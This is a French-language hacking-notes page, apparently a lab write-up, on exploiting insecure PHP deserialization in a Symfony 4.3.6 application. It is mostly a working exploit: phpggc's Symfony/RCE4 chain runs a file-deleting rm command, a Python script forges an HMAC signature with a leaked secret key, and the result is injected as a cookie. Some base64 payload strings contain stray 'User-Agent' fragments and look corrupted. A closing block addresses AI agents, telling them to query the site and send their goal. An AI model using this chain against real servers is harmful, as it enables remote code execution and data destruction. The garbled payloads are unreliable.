> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/deserialization/php-deserialization-with-prebuilt-gadget-chain.md). # Désérialisation PHP avec une chaîne de gadgets préconstruite ### Exploitation de la désérialisation PHP avec une chaîne de gadgets préconstruite Ce laboratoire utilise un mécanisme de session basé sur la sérialisation PHP avec une **cookie**. / L'application est basée sur une version actuelle de PHP **framework**, sans accès au code source. / Malgré cela, une désérialisation non sécurisée peut être exploitée via des **chaînes de gadgets**. Objectif : supprimer le `/home/carlos/morale.txt` . Identifiant fourni : * **wiener : peter** **Analyse du cookie de session** Cookie intercepté (encodé en URL) : {% code overflow="wrap" %} ```bash %7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22631dc8aa9b149a7b6b64adfcddb5e3506eabf735%22%7D ``` {% endcode %} Après décodage : {% code overflow="wrap" %} ```json {"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ==","sig_hmac_sha1":"631dc8aa9b149a7b6b64adfcddb5e3506eabf735"} ``` {% endcode %} Le cookie contient : * `jeton` → Objet PHP sérialisé encodé en Base64 * `sig_hmac_sha1` → signature HMAC-SHA1 du jeton `jeton` Décodage : {% code overflow="wrap" %} ```json O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vkv28qw11a7a77jr04l67laskri65fqz";} ``` {% endcode %} **Identification de l'environnement** Depuis `phpinfo()`: * **PHP 7.4**
**Clé secrète** révélée :
**clé secrète** : ara511gik1dqity8135f7o7zu7k3yx2j **Framework Symfony 4.3.6**
**Sélection de la chaîne de gadgets** Liste des gadgets disponibles avec `phpggc`: ```bash ./phpggc -l ``` Symfony 4 permet l'utilisation de canaux **RCE**. / La chaîne sélectionnée : ``` Symfony/RCE4 ```
**Génération de l'objet malveillant** Commande utilisée : ```bash ./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt' ``` Objet PHP sérialisé généré : {% code overflow="wrap" %} ```json O:47:"Symfony/Component/Cache/Adapter/TagAwareAdapter":2:{s:57:"Symfony/Component/Cache/Adapter/TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony/Component/Cache/CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony/Component/Cache/Adapter/TagAwareAdapterpool";O:44:"Symfony/Component/Cache/Adapter/ProxyAdapter":2:{s:54:"Symfony/Component/Cache/Adapter/ProxyAdapterpoolHash";i:1;s:58:"Symfony/Component/Cache/Adapter/ProxyAdaptersetInnerItem";s:4:"exec";}} ``` {% endcode %} Encodage Base64 : {% code overflow="wrap" %} ```bash Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg== ``` {% endcode %} **Calcul de la signature HMAC-SHA1** Script Python utilisé : ```python import hmac, hashlib secret = b"ara511gik1dqity8135f7o7zu7k3yx2j" token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YT oxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319c zo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxD b21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg= =" print(hmac.new(secret, token.encode(), hashlib.sha1).hexdigest()) ```
Signature obtenue : ``` 5270b838edbe7aec15da10cab298ac841d088c90 ``` **Création finale du cookie** JSON du cookie : {% code overflow="wrap" %} ```json {"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"5270b838edbe7aec15da10cab298ac841d088c90"} ``` {% endcode %} Après encodage URL, le cookie est injecté dans la requête HTTP. ```bash {"token"%3a"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3d%3d","sig_hmac_sha1"%3a"5270b838edbe7aec15da10cab298ac841d088c90"} ``` **Résultat** Le cookie signé est accepté par l'application / la chaîne de gadgets Symfony est exécutée / le `/home/carlos/morale.txt` fichier est supprimé --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/web/deserialization/php-deserialization-with-prebuilt-gadget-chain.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.